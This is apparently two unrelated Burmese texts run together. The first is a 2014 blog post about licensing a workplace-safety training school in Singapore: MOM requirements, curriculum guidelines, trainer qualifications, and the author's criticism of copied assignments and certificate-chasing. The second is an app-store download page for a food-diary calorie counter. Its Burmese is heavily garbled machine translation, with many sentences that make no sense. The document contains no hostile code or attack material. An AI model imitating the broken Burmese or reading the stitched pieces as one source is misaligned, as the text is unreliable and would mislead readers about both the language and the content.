ဓာတ်ပုံရိုက်၊ လက်တွေ့လုပ်မည့် နေရာကို ဓာတ်ပုံရိုက်ကာ ဓာတ်ပုံများနှင့်တကွ လိုင်စင် လျှောက်လွှာနှင့် တစ်ပါတည်း ပူးတွဲတင်ပြရသည်။\nဓာတ်ပုံမျှ မကသေး။ မည်မျှသေချာသနည်းဆိုလျှင် သင်တန်းခန်းအတွက် ၀ယ်ထည့်ထားသည့် ပစ္စည်းဝယ် ဘောက်ချာများပါ ပူးတွဲတင်ပြရသေးသည်။ ကွန်ပြူတာဝယ်တာ၊ ပရော်ဂျက်တာ၊ ပရင်တာ၊ စားပွဲ၊ ကုလားထိုင်တွေဝယ်တာ၊ အဲယားကွန်းဆင်တာ အကုန်တင်ပြရသည်။ ထိုအထဲတွင် အမှတ်စစ်စက်နှင့် ဆော့ဖ်ဝဲ ၀ယ်ရတာလည်း ပါ၏။ အထက်ဖော်ပြပါ သင်တန်းလေးခုအတွက် အမှတ်စစ်ရာတွင် ထိုပရိုဂရမ်နှင့်စစ်ရပြီး ရလဒ်ကို MOM database နှင့် တိုက်ရိုက်ချိတ်ဆက်ထား၏။ ထို့ကြောင့် အလုပ်သမားတစ်ဦး သင်တန်းတက်ပြီးမပြီး၊ အောင်မအောင်ကို MOM website တွင် အချိန်မရွေးစစ်ကြည့်လို့ ရသည်။\nထို့နောက် သင်တန်းဆရာများ ခန့်ထားရေး ဖြစ်၏။ ခန့်ထားမည့်သင်တန်းဆရာစာရင်း၊ ထိုသင်တန်းဆရာများ၏ ကိုယ်ရေးအတ္ထုပ္ပတ္တိ၊ လက်မှတ်များ၊ လုပ်ငန်းအတွေ့အကြုံမှတ်တမ်း စသည်တို့တင်ပြရသည်။ သင်တန်းဆရာများတွင် ရှိရမည့် အရည်အချင်းကို CDA တွင် ဖော်ပြထားသည်။\nသင်တန်းကျောင်းမှ ဆင်းလာသူများအား အားလုံးတပြေးညီ အရည်အသွေးများ ရရှိစေနိုင်ရန် သင်တန်းကျောင်း များတွင် သင်မည့်သင်ရိုး၊ သင်တန်းဆရာများ၏ လိုအပ်ချက်များကို အစိုးရမှ ချမှတ်ပေးထားသည်။ မည်သည့်သင်တန်း အတွက်ဆိုလျှင် မည်သည့်သင်ရိုးအတိုင်းသင်ရမည်။ ထိုသင်တန်းကိုသင်မည့်ဆရာတွင် မည်ကဲ့သို့သော အရည်အချင်းများ ရှိရမည်ဟု သတ်မှတ်ထား၏။ ဤသည်ကို CDA (Curriculum Development Advisory) ဟု ခေါ်သည်။ CDA ကို အစိုးရ website (https://www.wshc.sg) တွင် အခမဲ့ download လုပ်ယူ၍ ရပါသည်။\nသင်တန်းတစ်ခုကို သင်နိုင်ရန် ထိုသင်တန်းနှင့်ပတ်သက်သော လုပ်ငန်းအတွေ့အကြုံ အနည်းဆုံး ၅ နှစ်ရှိရမည်။ ဥပမာ - ဆောက်လုပ်ရေးနှင့်ပတ်သက်သည့် သင်တန်းများ သင်မည့်သူသည် ဆောက်လုပ်ရေးလုပ်ငန်းတွင် (စူပါဗိုက်ဆာ၊ အင်ဂျင်နီယာ၊ မန်နေဂျာ စသည်) လုပ်ငန်းအတွေ့အကြုံ အနည်းဆုံး ၅ နှစ်ရှိရမည်။ အကယ်၍ သင်္ဘောကျင်း (marine) နှင့်ပတ်သက်သည့် သင်တန်းများ သင်မည်ဆိုပါက marine အတွေ့အကြုံ အနည်းဆုံး ၅ နှစ်ရှိရမည် စသည်။ (ကျွန်တော်က သင်္ဘောကျင်းတွင် ၁၉၉၈ မှ ၂၀၀၀။ ၂၀၀၅ မှ ၂၀၀၇။ လေးနှစ်လုပ်ဘူးသည်။ သတ်မှတ်ထားသော ၅ နှစ် မပြည့်သဖြင့် marine သင်တန်းများ သင်ဘို့ရမရ မသေချာ။)\nသူတို့ကတော့ competent person ဟု ခေါ်၏။ တကယ်တတ်မြောက် ကျွမ်းကျင်သူများကိုသာ သင်တန်းဆရာ ဖြစ်စေသည်။ Competent person ဖြစ်ရန် အနည်းဆုံး နှစ်ချက် လက်ဆုပ်လိုက်ပြရန် လိုသည်။ ဤသည်မှာ Skill + Knowledge ဖြစ်၏။ တစ်နည်းအားဖြင့် သင်တန်းဆင်းလက်မှတ် + လုပ်ငန်းအတွေ့အကြုံတို့ကို ပြရသည်။\nသင်တန်းဆရာများအတွက် သတ်မှတ်ထားသော သင်တန်းများရှိ၏။ ထိုသင်တန်းများထဲမှ သင်တန်းဆရာဖြစ်ရန် အခြေခံအကျဆုံးသင်တန်းမှာ ACTA (Advanced Certificae in Training and Assessment) ဖြစ်၏။ ထိုသင်တန်းတွင် CU1 မှ CU6 ထိ module ၆ ခု ပါသည်။ အချိန်ပြည့်သင်တန်း ဆရာဖြစ်ရန် ထိုသင်တန်း ၆ ခုစလုံး တက်ရောက်အောင်မြင် လက်မှတ်ရပြီး ရမည်။ အချိန်ပိုင်းဆရာဆိုလျှင်တော့ CU1, CU2, CU4, CU6 သင်တန်းဆင်းလက်မှတ် လေးခု ရှိရမည်။ အပြည့်အစုံသိနိုင်ရန် အောက်တွင် မူရင်းကို ဖော်ပြထားပါသည်။\nအထက်ဖော်ပြပါ အချက်အလက်များအရ ထိုသင်တန်းကို နှစ်မျိုးလေ့လာ သင်ယူနိုင်၏။ တစ်မျိုးမှာ သင်တန်းခန်းမ အတွင်း၌ ထိုင်လျှက် သင်တန်းဆရာပို့ချသည်ကို နားထောင်၊ လေ့ကျင့်သည့်သင်တန်း (စာတွေ့) (Facilitated Learning) ဖြစ်ပြီး နောက်တစ်မျိုးမှာ သင်ကြားပို့မည့် နေရာသို့ သင်တန်းဆရာကသွားရောက်ကာ ဟောသည်လို လုပ်ရသကွ ဟု လက်တွေ့ပြသခြင်း (လက်တွေ့) (On-the-Job Training) ဖြစ်၏။\nအထက်ပါဇယားကိုကြည့်လျှင် CU ၆ ခုအနက် CU1, CU2, CU5, CU6 များမှာ စာတွေ့ရော၊ လက်တွေ့သင်တန်း အတွက်ပါ အတူတူပင်ဖြစ်ပြီး စာတွေ့သင်တန်းအတွက် CU3A နှင့် CU4A၊ လက်တွေ့သင်တန်းအတွက် CU3B, CU4B ဟု ကွာသွားသည်။ အထက်ပါဇယားတွင် ဖော်ပြထားသော သင်တန်း ၆ ခုကို မြန်မာလိုပြန်ပြရလျှင် အောက်ပါအတိုင်း ဖြစ်ပါသည်။\nCU ဆိုသည်မှာ Competency Unit ဖြစ်၏။ ဤတွင် ကျွမ်းကျင်မှုအခြေခံ (competency based) ဆိုသော စကားလုံးကို စာရှုသူတို့ သတိထားမိပါလိမ့်မည်။ ဤသည်မှာ သင်တန်းသားတကယ်တတ်မတတ်ကို စာတွေ့လက်တွေ့ စမ်းသပ်ခြင်း ဖြစ်၏။ ဥပမာ - safety harness အကြောင်း သင်ရာတွင် safety harness ကို မည်ကဲ့သို့ ရွေးချယ်ရသည်၊ စစ်ဆေးရသည် စသည့် စာတွေ့ ဗဟုသုတ သာမက လက်တွေ့လည်း ၀တ်ပြခိုင်းခြင်းမျိုး ဖြစ်၏။\nမြန်မာပြည်တွင်လည်း ဤစနစ်လုပ်လိုက်ပါသေးသည်။ ဘာတဲ့၊ စဉ်ဆက်မပြတ် အကဲခတ် ဆိုလား။ အစိုးရမူလတန်း၊ အလယ်တန်း၊ အထက်တန်းကျောင်းများတွင် ကျင့်သုံးသည်။ စာမေးပွဲစစ်စရာမလို။ ကျောင်းသား၏ အရည်အသွေးကို ဆရာဆရာမက အကဲဖြတ်ကာ တကယ်တတ်မြောက်သည့် ကျောင်းသားကို အတန်းတင်ပေးခြင်းဖြစ်၏။\nသို့သော် သိတော်မူကြသည့်အတိုင်း မြန်မာပြည်ဆိုသည်မှာ လုပ်လိုက်လျှင် သောက်တလွဲက များသည်။ သည်စနစ်က ငါတို့နဲ့ ကိုက်ညီသလားဆိုတာ မသုံးသပ်။ အများယောင်လို့ယောင်၊ အမောင်တောင်မှန်း မြောက်မှန်းမသိ။ သည်စနစ်ကောင်းသည်ဆိုကာ အတွေးအခေါ်အမြော်အမြင် ကြီးမားလှသည့် နိုင်ငံ့ခေါင်းဆောင်ကြီးများက ချမှတ်ကျင့်သုံး လေတော့ရာ ကျောင်းသားကလေးများခမျာ ဆယ်တန်းရောက်လာသည့်တိုင် ကိုယ့်နာမည်ကိုယ် မှန်အောင် စာလုံးမပေါင်း တတ်သော အခြေအနေထိ ဆိုက်လေ၏။ ဤစနစ် စတင်ကျင့်သုံးလိုက်သည်မှအစ တစ်နိုင်ငံလုံး ငဒူများချည်း ဖြစ်လေတော့ သတည်း။\nကျွန်တော်ကလည်း ကိုယ့်ရှေ့မဟုတ်တာ လုပ်လာလျှင် မနေတတ်။ ဖော်ကောင်လုပ်ချင်သည်။ အစိုးရက သူတို့လူများအား လူတော်လူကောင်းများဖြစ်လာအောင် စနစ်များချမှတ်၊ အတင်းရော အဓမ္မပါ အစွမ်းကုန် လေ့ကျင့် လုပ်ပေးနေသည့်တိုင် ရာနှုန်းပြည့် ဖြစ်လာသလားဆိုတော့ မဖြစ်ပါ။ အဘယ်ကြောင့် မဖြစ်သနည်း။ လူတွေဖြစ်သောကြောင့် မဖြစ်ပါသည်။ ရှင်းပါအံ့။\nလိုအပ်ချက်အရ သည်သင်တန်းအားလုံးကို ကျွန်တော်သွားတက်ပါသည်။ ပိုက်ဆံနှင့် အချိန်များပေးကာ တက်ရ သောကြောင့် ကျွန်တော်ကတော့ ရသမျှအကုန်ယူဘို့ အားထုတ်ပါသည်။ သို့သော် မဖြစ်လို့သာ လာတက်ရသည်၊ လက်မှတ်ရ ပြီးရော ဆိုသူများလည်း မနည်းလှပါ။ ဤသည်မှာ ကျွန်တော် ညာဝါဖြီးဖြန်းပြောခြင်း မဟုတ်ပါ။ CU3A ကို STADA တွင် တက်တော့ ကျွန်တော်နှင့် တစ်စားပွဲတည်းထိုင်သူက ပြောခြင်းဖြစ်ပါသည်။ သူက ငါ့အတွက်တော့ လက်မှတ်ရဘို့က လွဲပြီး ဘာမှစိတ်မ၀င်စားဘူးဟု ဆိုပါသည်။\nသင်တန်းတွင် လက်တွေ့ရေးရသော assignment များရေးရသည်။ ဤ assignment များကို ကိုယ့်ဘာသာမရေးဘဲ ခိုးချသည်။ ကျွန်တော်လည်း အခြားသူများရေးထားသော assignment များကို တောင်းကြည့်ပါသည်။ သို့သော် ကျွန်တော် ကြည့်တာ သူတို့ဘယ်လိုရေးထားသလဲဆိုတာ နမူနာယူရုံမျှ ဖြစ်ပါသည်။ အနို့ သူတို့တွေ ခိုးချတယ်ဆိုတာ မင်းက ဘယ့်နှာလုပ် သိသတုံးကွာ ဟု မေးပါ။ ဤသည်မှာ ကျွန်တော်ပြောတာမဟုတ်ပါ။ သင်တန်းဆရာများက ပြောတာဖြစ်ပါသည်။ မင်းတို့ ခိုးတာတော့ ခိုးတာပေါ့ကွာ၊ ဒါပေမဲ့ မမှန်တာကြီးတော့ မခိုးနဲ့ပေ့ါ၊ ဘယ်လောက်ဆိုးသတုံးဆို စာလုံးပေါင်းမှားတာက စ တူတယ် ဟု ပြောပြပါသည်။\nထို့ကြောင့် သင်တန်းဆင်းလက်မှတ်ရလာတိုင်းလည်း တတ်သည်ဟု မမှတ်ပါလေနှင့်။ Safety Officer ဖြစ်နေပြီး Risk Assessment မရေးတတ်သူတွေ တပုံကြီး။ Permit-To-Work ကိုပင် သေသေချာချာ ရှင်းမပြနိုင်သူတွေ ရှိသေးသည်။\n(၅) CDA (Curriculum Development Advisory)\nသင်တန်းမှတ်စုများရေးရာတွင် အထက်တွင်ဖော်ပြခဲ့သော CDA အလိုက် ရေးရသည်။\nCDA ထဲတွင် ဤသင်တန်းတက်ရန်အတွက် သင်တန်းသား၌ မည်သည့်အရည်အချင်းရှိရမည်။ ဤသင်တန်းကို ပို့ချမည့် သင်တန်းဆရာတွင် မည်သည့်အရည်အချင်းများရှိရမည်။ သင်တန်းသားနှင့် သင်တန်းဆရာ အချိုး၊ သင်တန်းတစ်ခုတွင်ရှိရမည့် သင်တန်းသားအရေအတွက်၊ သင်ကြားပို့ချရမည့်နာရီ၊ အကဲဖြတ်ရန် (စာမေးပွဲ) ကြာချိန်၊ စာမေးပွဲစစ်ပုံစစ်နည်း၊ စသည်တို့ အားလုံးပါသည်။\nအရေးကြီးဆုံးမှာကား ဘာတွေသင်မလဲဆိုတာ (Curriculum) ဖြစ်ပါသည်။ သင်တန်းတွင် သင်ရမည့် ခေါင်းစဉ် များကို သင်ရန်ကြာချိန်နှင့်တကွ လမ်းကြောင်းပေးထားသည်။ ဥပမာ -\nသင်တန်းဆရာလုပ်မည့်သူသည် ဤ CDA ကို ကောင်းစွာ ကျေညက်နေရမည်။ မဟုတ်လျင် MOM က အင်တာဗျူး ခေါ်သည့်အခါ ဒုက္ခနှင့်လှလှနှင့်တွေ့မည်သာ အောက်မေ့။ နောက်ပြီး ဤတွင်သင်ကြားမည့်အကြောင်းအရာများကိုလည်း ကောင်းစွာ သိနားလည်ထားရပေမည်။ Rules and Regulations များကို အားလုံးမဟုတ်တောင် တီးမိခေါက်မိ ရှိထားရမည်။ မဟုတ်လျှင်တော့ သင်တန်းဆရာဖြစ်ခွင့်ရှိမည်မဟုတ်ပါ။\nCDA ကား အလွန်ချစ်စရာကောင်းလှ၏။ အဘယ်ကြောင့်ဆိုသော် သင်တန်းမှတ်စုများပြင်ရာတွင် လမ်းကြောင်းပေး ထားသဖြင့် ဘာမှခေါင်းစားစရာမလိုတော့ဘဲ ဤခေါင်းစဉ်များအတိုင်း ပြင်လိုက်သွားရုံသာ ရှိပေသည်။ ဘယ်လောက်များများ ပြင်ရမည်ဆိုသည်ကိုလည်း အချိန်နှင့် ကန့်သတ်ပေးထားသည်။ ၁၅ မိနစ် ဟု ပေးထားလျှင် ၁၅ မိနစ်စာလောက် ပို့ချမည့် အကြောင်းအရာလောက်ပဲ ထည့်ပေါ့။\n(သဟာတောင် သောက်တလွဲလုပ်သူတွေ မနည်းပါ။\nကျွန်တော်တို့ သင်တန်းကျောင်းထောင်မည်ဆိုတော့ သည်သင်တန်းမှတ်စုများပြင်ရန် ငှားသည်။ သင်တန်းမှတ်စုများ ပြင်ရန်မှာ အချိန်အတော်ပေးရမည်။ နောက်ပြီး တစ်ခု၊ နှစ်ခုတည်းမဟုတ်။ ကျွန်တော်က နေ့တိုင်း အလုပ်ဆင်းရတာဆိုတော့ အချိန်အားမရှိ။ ညပိုင်းများတွင်ပြင်လျင်တော့ ဖြစ်နိုင်သည်ပေါ့။ ဒါပေသိ၊ အချိန်အကြာကြီးလုပ်ရမည်။ သည်တော့ စီးပွားရေး လုပ်ငန်းလုပ်မှာဘဲ၊ သည်လောက်တော့ ကပ်စီးမနည်းသင့်ဟု တိုင်ပင်ကာ (so called) consultant ငှားကြသည်။ Murat Dahalan ဟူ၏။ ကုမ္ပဏီနာမည်က Red-Delima ဖြစ်၏။ မိတ်ဆွေတို့ အထိတ်တလန့်ဖြစ်မှာစိုးသဖြင့် သူ့ဓာတ်ပုံတော့ မဖော်ပြတော့ပါ။\nပထမတစ်အုပ် စလှန်လိုက်ကတည်းက မူရတ်တော့ သောက်တလွဲလုပ်ပြီဟု ကျွန်တော်သဘောပေါက်လိုက်သည်။ အထဲကစာများကို အသာထား၍ ခေါင်းစဉ်မျှပင် မှန်အောင်မရေးနိုင်။ အမှန်က သူရေးတာပင် ဟုတ်ချင်မှ ဟုတ်ပါမည်။ ဘယ်ကနေ ဘယ်လိုကူးချထားမှန်းမသိ။ ကူးတာကို အဆိုးမဆိုပါ။ သို့သော် ACTA တုံးက သင်တန်းဆရာမ ပြောသလို မှန်အောင်ကူးပေါ့။ သည်အကြောင်း ခပ်စောစောပိုင်းက ကျွန်တော် အနည်းငယ်ရေးခဲ့ပြီးပါပြီ။\nသည်ဟာများကိုသာ MOM တင်လိုက်ရင် reject ဖြစ်ဘို့ ၁၂၀% လောက်ရှိသည်။ တစ်ခါ reject ဖြစ်ပြီး ပြန်တင်လျှင် တန်းစီထားသူများ၏ နောက်သို့ ပြန်ရောက်သွားပေလိမ့်မည်။ ထိုအခါ တမေ့တမော ပြန်စောင့်ပေတော့။\nသည်တော့ မူရတ်ခေါင်းကို တူနှင့်ထုချင်တာ နောက်ထား။ ထို ၂၀၀၀ ကျော်မျှရှိသော slide များကို အစအဆုံး ကိုယ့်ဘာသာကိုယ် လုပ်ရလေတော့သည်။ မကြိုက်လိုက်၊ ပြန်ပြင်လိုက်၊ ဟိုဟာထပ်ထည့်လိုက်၊ သည်ဟာဖြုတ်လိုက်နှင့် တစ်လကျော်လောက် လုပ်တာတောင် သုံးခုလောက်ပဲ ပြီးသည်။\nမူရတ်ပဲလားဆိုတော့ မဟုတ်ပါ။ လက်ရှိသင်နေသည့် သင်တန်းကျောင်းများမှ စာများတွင်လည်း အမှားများစွာ ပါပါသည်။ သို့သော် သူများအမှားကို ထောက်ပြဘို့ထက် ထိုအမှားများမှ နမူနာယူရန်သာ ကြိုးစားပါသည်။ လူမှန်လျင် မည်သူ အမှားကင်းပါသနည်း။\nယခု MOM တင်ဘို့ အားလုံးအဆင်သင့်ဖြစ်နေပြီမို့ သည်စာကို ရေးခြင်းဖြစ်၏။ သို့သော် လုပ်စရာများ လက်စမသပ်သေးပါ။ နောက်သင်တန်းများအတွက် ဆက်ပြင်စရာ များစွာ ကျန်သေးသည်။ ဤကား စကားချပ်။)\nထိုမျှမက Course Matrix, Lesson Plan, Assessment Plan, Course Notes, Trainer’s Guide, မေးခွန်းနှင့် အဖြေ စသည်တို့ကိုလည်း ပူးတွဲတင်ပြရပသည်။ သည်အရာများမှာ ရှုပ်ထွေးလှသဖြင့် ဤနေရာတွင် ချန်ခဲ့ပါမည်။ သိလိုသူများ ရည်ညွှန်းထားသော MOM နှင့် WSHC website များတွင် ဖတ်နိုင်ပါသည်။\nMOM က အရာရာကို စံသတ်မှတ်ပေးထား၏။ သင်တန်းဆင်းလက်မှတ် (certificate) နှင့် သင်တန်းဆင်းကဒ် (pass) ကိုလည်း မည်သို့ပြင်ရမည်ကို သတ်မှတ်ပေးထား၏။ ထိုအတိုင်းပြင်ရမည်။ သူတို့သတ်မှတ်ထားသော ပုံစံအတိုင်း ပြင်ထားကြောင်း သင်တန်းဆင်းလက်မှတ်နှင့် ကဒ် နမူနာကိုပါ ပူးတွဲတင်ပြရသည်။\nသင်တန်းဆရာများတွင်လည်း အထက်တွင်ဖော်ပြထားသော ACTA လက်မှတ်များသာမက အခြား သက်ဆိုင်ရာ သင်တန်းများလည်း တက်ရသေးသည်။ အထက်တွင် ဖော်ပြခဲ့သော သင်တန်းဆရာလိုအပ်ချက်တွင် ကြည့်ပါ။\nSpecialist Diploma ဟူသည် Safety Officer သင်တန်းဖြစ်၏။ WSH Level C ဟု ခေါ်သည်။ အလုပ်သမားများ အတွက် ဆိုလျင်တော့ Level B (Safety Coordinator) သင်တန်းဆို ရပါသည်။ သည်မျှသာမက Work-At-Height သင်တန်း သင်ရန် Work-At-Height သင်တန်းဆင်းလက်မှတ် ရှိထားရမည်။\nသည်သင်တန်းဆရာများကို ထုတ်ပေးထားသည့် အလုပ်ခန့်စာကိုလည်း ပူးတွဲတင်ပြရသည်။ အစိုးရက သတ်မှတ် ထားသည့် Safety level စံနှုန်း bizSAFE level3 လက်မှတ်လည်း တင်ပြရသည်။\nသည်သင်တန်းများတွင် သည်အရာများကို သည်ကဲ့သို့သင်ရမည်၊ သင်တန်းဆရာများတွင် ဤကဲ့သို့သော အရည်အချင်းများရှိရမည်၊ သင်တန်းကျောင်းဆိုလျှင် သည်အရာများနှင့် ပြည့်စုံရမည် စသဖြင့် အစိုးရ လမ်းညွှန်ချက် ပေးထားသောကြောင့် လွဲသည်ဆိုသည့်တိုင် ဆိုးဆိုးဝါးဝါး မလွဲတော့။ သင်တန်းဆရာများမှာလည်း ရာနှုန်းပြည့် မကောင်းစေကာမူ သင်တန်းဆရာနှင့်ထိုက်တန်သော အရည်အချင်းအချို့ ရှိနေမည် ဖြစ်ပါသည်။ အရည်အချင်းမရှိသူကိုလည်း ဆရာဖြစ်လက်မှတ် ထုတ်ပေးလိမ့်မည် မဟုတ်ပါ။\nလူများ (အထူးသဖြင့် အာရှသားများ) ဖြစ်သဖြင့် အစိုးရက သည်မျှ ကြပ်ကြပ်မတ်မတ် လုပ်နေတာတောင် ဥပဒေကို ကျော်ခွစားနေသူများ ရှိပါသေးသည်။ သင်တန်းလာတက်၊ အတန်းထဲ၌ အိပ်ငိုက်၊ အချိန်တန်တော့ လက်မှတ်တစ်စောင် ထုတ်သွားသူများ မနည်းလှပါ။ အတန်းထဲမှာ အိပ်ငိုက်နေသူက ဘယ်နည်းဘယ်ပုံဖြင့် စာမေးပွဲအောင်သနည်းဟု မမေးပါနှင့်။ နည်းလမ်းများစွာရှိသည်ဟုပဲ မှတ်ထားပါ။ သည့်ထက်ပိုပြောလို့ မသင့်။\nကျွန်တော်တို့ မြန်မာပြည်တွင်လည်း စနစ်တကျဖြစ်စေချင်ပါသည်။ လုပ်သားများကို တကယ်တတ်အောင် သင်ပေးသည့် သင်တန်းကျောင်းများ ပေါ်ထွက်လာရေး အစိုးရက ၀ါယမထုတ် လုပ်ကိုင်သင့်ပါသည်။ မယောင်ယာ ဆီလူးသည့်ကိစ္စ၊ နှမ်းဖြူးသည့်ကိစ္စများဖြင့် အချိန်ဖြုန်းနေခြင်းများကို ရပ်တန်းက ရပ်သင့်ပါပြီ။\nသို့သော် အထက်တွင်ဖော်ပြခဲ့သလို စဉ်ဆက်မပြတ် အကဲခတ်ပညာရေးစနစ်ကဲ့သို့ လူများကို ဖျက်ဆီးပစ်ရာမရောက်အောင်လည်း သတိပြုရပါမည်။ လက်မှတ်ရှိမှ အလုပ်လုပ်ရမည်ဟု သတ်မှတ်လိုက်ပါက လက်မှတ်ရိုက်ကာ ရောင်းစားမည့်သူများ ဥပဒေမထွက်မီ ကတည်းက တန်းစီနေပါလိမ့်မည်။\n၁၅၊ ၆၊ ၂၀၁၄။ နေ့လည် ၂း၀၆ နာရီ


အစားအသောက်ဒိုင်ယာရီ app ကို android ဖုန်းများအတွက် Download | APK ကို Android အတွက် Download\nပင်မစာမျက်နှာ » လူနေမှုပုံစံစတဲ့ » အစားအသောက်ဒိုင်ယာရီ\nအစားအသောက်ဒိုင်ယာရီ APK ကို\nအစားအသောက်ဒိုင်ယာရီပဲပုံမှန်ကယ်လိုရီကောင်တာမဟုတ်ပါဘူး။ အစားအသောက်ဒိုင်ယာရီထိန်းချုပ်မှု၌သငျထားဖို့ဒီဇိုင်းနှင့်တတ်နိုင်သမျှသုံးစွဲဖို့အဖြစ်လွယ်ကူသောမြန်ဆန်ရိုးရှင်းတဲ့ဖြစ်သည်။ ဒုစရိုက်ဖြေခရီးစဉ်, ဒါမှမဟုတ်အဆက်မပြတ်ချင်နေကြတဲ့သတိပေးချက်များ, ဒါပေမယ့်ဖြောင့်ရှေ့ကိုနှင့်သင့်အသုံးအနှုန်းများအပေါ်မရှိပါ။\nဒီ app ကိုသင်ကိုယ်အလေးချိန်ကူညီပေးသည်, အလေးချိန်ထိန်းသိမ်းရန်, ဒါမှမဟုတ်ကယ်လိုရီရေတွက်မှတဆင့်အလေးချိန်ရရှိပေမယ့်လည်း (ဥပမာစသည်တို့ကိုဆီးချို, ဟာ Celiac နှင့်အတူလူများအတွက်) နှင့်ခန္ဓာကိုယ်တည်ဆောက်ဘို့တိကျတဲ့အစာအာဟာရအမှတ်ခြေရာခံစောင့်ရှောက်ဖို့သုံးစွဲဖို့လွယ်ကူပါတယ်။\napp ကို about:\nဒီ app ကသင့်တဲ့အစားအစာကိုထိန်းချုပ်ရန်နှင့်သင်အစာစားသောအရာကိုခြေရာခံဖို့ကလွယ်ကူအောင်အသုံးပြုပုံကျန်းမာသန်စွမ်းကိုစားကူညီပေးသည်။ အဆိုပါဒီဇိုင်း 1 ကလစ် entry ကိုအတူတတ်နိုင်သမျှအမြန် entry ကိုအောင် optimized နှင့်မကြာသေးမီကအစားအစာအကြံပြုချက်များသည်။ အဆိုပါဒေတာဘေ့စ built-in ပြီးသားအစားအစာပစ္စည်းများကိုထောင်ပေါင်းများစွာ၏ရှိပြီးဥစ္စာသူတို့ကိုထည့်သွင်းလွယ်ကူသည်, မသိလျှင်။\n1 ။ တစ်ဦးကရိုးရှင်းပြီးအစွမ်းထက်ဒီဇိုင်း: သင်တို့ကိုအများဆုံးအသုံးပြုပါလိမ့်မယ်ကားအဘယ်သို့သောကွောငျ့ဒီ app, လတ်တလောမုန့်ညက်ရက်နေ့တွင်, entry ကို screen ပေါ်မှာတိုက်ရိုက်ဖွင့်လှစ်။ အဆိုပါဒီဇိုင်းကိုတတ်နိုင်သမျှရိုးရှင်းပြီးအလိုလိုသိအဖြစ် entries တွေကိုထည့်သွင်းစေသည်။\n2 ။ စိတ်ကြိုက်အကြံပြုချက်များနှင့်တသားတကိုထိပုတ်ပါ entry ကို: အဆိုပါအသုံးအများဆုံးအစားအသောက်ပစ္စည်းများကိုချက်ချင်းမရွေးနိုင်ပါတယ်။ သင်မကြာခဏအတူတူအစာကိုစားစေခြင်းငှါအဘယ်ကြောင့်ဆိုသော်ဒုတိယနေ့၌စတင်ခြင်း, သင့်မကြာသေးမီပစ္စည်းများအကြံပြုကြသည်။\n3 ။ အတွက် logging မလိုအပ်: အဘယ်သူမျှမကိုယ်ရေးကိုယ်တာအချက်အလက်များသို့မဟုတ်ဆက်သွယ်ရန်အချက်အလက်လိုအပ်ပါသည်။\n4 ။ အဆိုပါဒေတာဘေ့စရှိနှင့်ပြီးသားပစ္စည်းများထောင်ပေါင်းများစွာ၏: အများစုမှာအစားအသောက်ပစ္စည်းများဘုံအမှုတော်ကိုထမ်းဆောင်အရွယ်အစား, ကယ်လိုရီ, ဘိုဟိုက်ဒရိတ်, ပရိုတိန်းနှင့်အဆီနှင့် ပတ်သက်. တိကျမှန်ကန်သတင်းအချက်အလက်ရှိသည်။\n5 ။ အပြည့်အဝ Off-line ကိုထောက်ခံမှု: အင်တာနက်ချိတ်ဆက်ခံရဖို့အဘယ်သူမျှမလိုအပ်ပါဘူး။\n6 ။ တိကျသော entry ကိုလည်းလွယ်ကူသည်: သင်တိကျစွာတစ် slider ကို အသုံးပြု. တိကျသောပမာဏကိုရိုက်ထည့်နိုင်ပါတယ်။\n7 ။ နေ့စဉ်အစီရင်ခံစာများ: မီနူးကိုသုံးပြီး, သင်တိုက်ရိုက်သင့်ရဲ့တစ်နေ့တာ၏အကျဉ်းချုပ်ပြသသောထိုဒိုင်ယာရီကိုဖွင့်နိုင်ပါ။ ဒီနေရာတွင်နည်းနည်းတြိဂံအပေါ်ကိုနှိပ်ခြင်းဖြင့်ကယ်လိုရီ, ပရိုတိန်းနှင့်ဘိုဟိုက်ဒရိတ်အကြားပြောင်းလဲနိုင်သည်။\n8 ။ ပုဂ္ဂိုလ်ရေးသတိပေးချက်များကိုသင်ပစ်မှတ်အပေါ်နေဖို့ကူညီပေးပါ: သူတို့ကတစ်ဦးချင်းစီစားပြီးနောက်, ဒါမှမဟုတ်နေ့ကိုရဲ့အဆုံးမှာ, သေချာသင်သည်သင်၏ဒိုင်ယာရီထုတ်ဖြည့်ပါစေတစ်ဦးအဆင်ပြေနည်းလမ်းဖြစ်သည်။\nဒါဟာဒေတာဘေ့စအတွက်သတင်းအချက်အလက်များအားအတည်ပြုရန်သင့်အစားအစာထုပ်ပိုးပေါ်သတင်းအချက်အလက်အဖြစ်အတူတူပင်ဖြစ်ပါသည်ကောင်းတစ်စိတ်ကူးဖြစ်၏ အစားအစာကိုအစာအာဟာရအမှတ်တံဆိပ်နှင့်အတူနှင့်အချိန်ကျော် fluctuates ။\n1 ။ အဘယ်သူမျှမကပိုကြော်ငြာ။\n2 ။ တစ်ဦးကအများကြီးပိုကြီးတဲ့အစားအစာကိုဒေတာဘေ့စ။\n3 ။ ကိုယ်ဒိုင်ယာရီ၏ကော်ပီ email ပို့နိုင်စွမ်း။\n4 ။ တစ်ရက်သီးခြားအစားအစာများ 8 အထိဝင်နိုင်စွမ်းအပါအဝင်ပိုများသော configuration options ကို။\nသင်ကသုံးပြီးခစျြလိမျ့မညျဘာလို့လဲဆိုတော့ယခု download လုပ်ပါ။\nယခုသင်အလိုအလျှောက် backup လုပ်ထားဘို့အတွက်လက်မှတ်ထိုးပြီး, မျိုးစုံကိရိယာများပေါ်တွင်သုံးနိုငျ\n42.06 ကို MB\nထိပ်တန်း5အစားအသောက် Tracker Apps ကပ\nစားနပ်ရိက္ခာလမ်း - ...


